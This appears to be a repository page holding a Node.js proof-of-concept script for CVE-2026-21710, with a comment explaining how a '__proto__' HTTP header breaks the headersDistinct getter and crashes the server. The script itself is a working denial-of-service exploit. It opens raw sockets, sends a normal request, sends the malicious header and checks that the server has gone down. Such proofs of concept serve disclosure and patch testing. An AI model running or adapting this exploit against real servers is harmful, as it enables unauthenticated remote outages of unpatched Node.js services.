README.md
Rendering markdown...
/**
* CVE-2026-21710 — Proof of Concept
*
* Sends a raw HTTP/1.1 request with a `__proto__` header to crash any Node.js
* HTTP server that accesses req.headersDistinct.
*
* Root cause:
* In the headersDistinct getter the implementation builds a plain object
* (`dest = {}`) and accumulates header values:
*
* dest[name] = dest[name] || [];
* dest[name].push(value);
*
* When `name` is "__proto__", `dest["__proto__"]` does NOT return undefined —
* it returns Object.prototype (a plain object, not an Array). The truthiness
* check therefore skips initialisation, and `.push(value)` is called on
* Object.prototype, which throws:
*
* TypeError: dest[name].push is not a function
*
* Because this is raised synchronously inside a getter, it propagates up
* through the http.Server internal machinery without hitting `error` event
* listeners, resulting in an uncaughtException that terminates the process
* (unless a top-level uncaughtException handler is present).
*
* Impact: Remote, unauthenticated, zero-interaction DoS (CVSS 7.5 HIGH)
*
* Usage:
* 1. node server.js (in one terminal)
* 2. node poc.js (in another terminal)
*
* Expected outcome: server.js crashes with an uncaught TypeError.
*/
'use strict';
const net = require('net');
const TARGET_HOST = '127.0.0.1';
const TARGET_PORT = 3000;
// ---- Step 1: send a benign request to confirm the server is up ----------- //
function sendRequest(headers, label) {
return new Promise((resolve, reject) => {
const client = net.createConnection({ host: TARGET_HOST, port: TARGET_PORT });
client.on('connect', () => {
const raw =
`GET / HTTP/1.1\r\n` +
`Host: ${TARGET_HOST}\r\n` +
headers.map(([k, v]) => `${k}: ${v}`).join('\r\n') +
`\r\nConnection: close\r\n` +
`\r\n`;
console.log(`\n[>] Sending ${label}:\n${raw.trimEnd()}\n`);
client.write(raw);
});
const chunks = [];
client.on('data', (d) => chunks.push(d));
client.on('end', () => {
const response = Buffer.concat(chunks).toString();
console.log(`[<] Response for ${label}:\n${response}`);
resolve(response);
});
client.on('error', (err) => {
// Expected for the malicious request — server may close abruptly
if (err.code === 'ECONNRESET' || err.code === 'EPIPE') {
console.log(`[!] ${label}: connection reset (server likely crashed)`);
resolve(null);
} else {
reject(err);
}
});
// Give the server 3 s to respond
client.setTimeout(3000, () => {
console.log(`[!] ${label}: timeout`);
client.destroy();
resolve(null);
});
});
}
(async () => {
console.log('=== CVE-2026-21710 Proof of Concept ===\n');
// ---- Baseline: normal request ----------------------------------------- //
console.log('[*] Step 1 — baseline (normal request, server should respond 200)');
await sendRequest([['X-Safe', 'value']], 'Normal request');
// Give the server a moment to recover log output
await new Promise((r) => setTimeout(r, 500));
// ---- Exploit: __proto__ header ---------------------------------------- //
console.log('[*] Step 2 — exploit (sending __proto__ header)');
await sendRequest([['__proto__', 'CVE-2026-21710']], 'Malicious request (__proto__ header)');
await new Promise((r) => setTimeout(r, 500));
// ---- Confirm crash: try to reach the server after the exploit ---------- //
console.log('[*] Step 3 — confirm crash (server should be unreachable now)');
await sendRequest([['X-Safe', 'post-exploit']], 'Post-exploit check');
console.log('\n[*] Done. If Step 3 shows a connection error, the server crashed.');
})();